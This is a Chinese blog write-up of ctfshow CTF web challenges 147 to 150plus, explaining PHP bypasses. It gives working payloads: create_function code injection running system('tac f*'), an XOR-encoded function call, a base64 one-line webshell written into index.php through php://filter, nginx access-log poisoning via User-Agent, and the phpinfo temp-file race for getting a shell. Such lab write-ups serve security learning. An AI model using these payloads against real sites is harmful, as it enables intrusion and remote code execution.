- web147
- web148
- web149
- web150
- web150plus
最近先不更web入门了,后期有时间了我会把web入门的wp搬到平台上。
近期我要去其他平台刷一刷web题~
web147解答: 正则匹配绕过,只要ctfshow里有一个不是数字、小写字母和下划线就能绕过。
/i:大小写不敏感匹配 /s:点号元字符匹配所有字符,包含换行符。 /D:元字符美元符号仅仅匹配目标字符串的末尾
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。
(详情可以看php手册里的命名空间部分)
所以post时ctf
可以通过加上\
绕过匹配。
找个不需要第一个参数的函数。可以用create_function匿名函数。虽然该函数自PHP 7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。
get:?show=}system('tac f*');/*
post:ctf=%5ccreate_function
可以这么理解:create_function创建一个匿名函数,我们假设就叫niming。 string create_function( string $args, string $code)
那么具体就是如下面所示的样子:
function niming($args,...){
$code
}
所以就需要}
闭合,闭合之后,那就多出来一个}
,这就需要用注释符注释掉。
解答:正则匹配,执行code。根据题目,让$code
为get_ctfshow_fl0g
即可。还是利用上一组题,如web143的思路,用异或^
构造。 (或者执行system函数都行)
payload:?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
查看源码获取flag。
解答:可以写入文件,且当前目录下只能保留index.php。 那么就直接用伪协议把木马写入到index.php就可以了。 get:?ctf=php://filter/write=convert.base64-decode/resource=index.php
post:show=PD9waHAgQGV2YWwoJF9QT1NUWydqeiddKTs/Pg==
然后蚁剑连接也行,直接post也可。
解答:post的ctf
只是限制了不能有冒号,别的并没有被过滤include($ctf)
,可以进行日志包含。
因为$key
有过滤字符,所以我们可以通过User-Agent
传递木马信息。
然后通过extract变量覆盖,满足isVip是true的条件限制。
get:?isVIP=true
post:ctf=/var/log/nginx/access.log&1=system('tac f*');
解答:php中变量名的点和空格会被转换成下划线。
payload:?..CTFSHOW..=phpinfo
原题说是需要条件竞争,所以flag改为了环境变量。phpinfo后查找即可获得。
这道题可以联系到web123。那道题里用的是CTF[SHOW.COM
解析为CTF_SHOW.COM
,是说对不符合规则的变量里只转换一次,变量名中的[
也会被替换为_
,但其后面的点.
就不再进行替换了。
接下来学习一下原题的思路:(不过没做过原题,也不确定思路是不是这个)
文件包含,在临时文件消失前包含它。
利用phpinfo(具体看一下“进一步学习”的三个链接,特别是第一个链接)。
(说实话原题被删减有点遗憾,但是完全理解,我后续再找题或者搭建平台测试吧)
phpinfo会打印上传临时文件的路径,包含临时文件就可以getshell。
先发送数据包给phpinfo页面,从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。临时文件在第一个请求phpinfo页面渲染加载完毕后会被删除。也就是说如果第一个请求结束,临时文件被删,第二个请求就无法进行包含了。
1)我们需要让phpinfo页面加载的慢一点。
phpinfo页面会将我们post的数据包里的header、get等信息都打印出来,所以我们要把这个数据包的header、get等位置塞满垃圾数据,加大phpinfo加载时间。
php发送数据是分包发送,默认的输出缓冲区大小为4096,即php每次返回4096个字节给socket连接。那么不管返回的信息是第几次,只要读取到的字符里包含临时文件名,就立即发送第二个数据包进行文件包含。
2)此时,发送的第一个数据包的socket连接还没结束,php还在继续每次输出4096个字节,临时文件还没有被删除。这时利用文件包含漏洞就可以成功包含临时文件getshell。
因为这个临时文件终归还是会被删除,所以直接上传是写一句话木马不可行,需要利用短暂的包含写入文件,将一句话木马写到如/tmp/jz
,这样就不会被删除了。
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?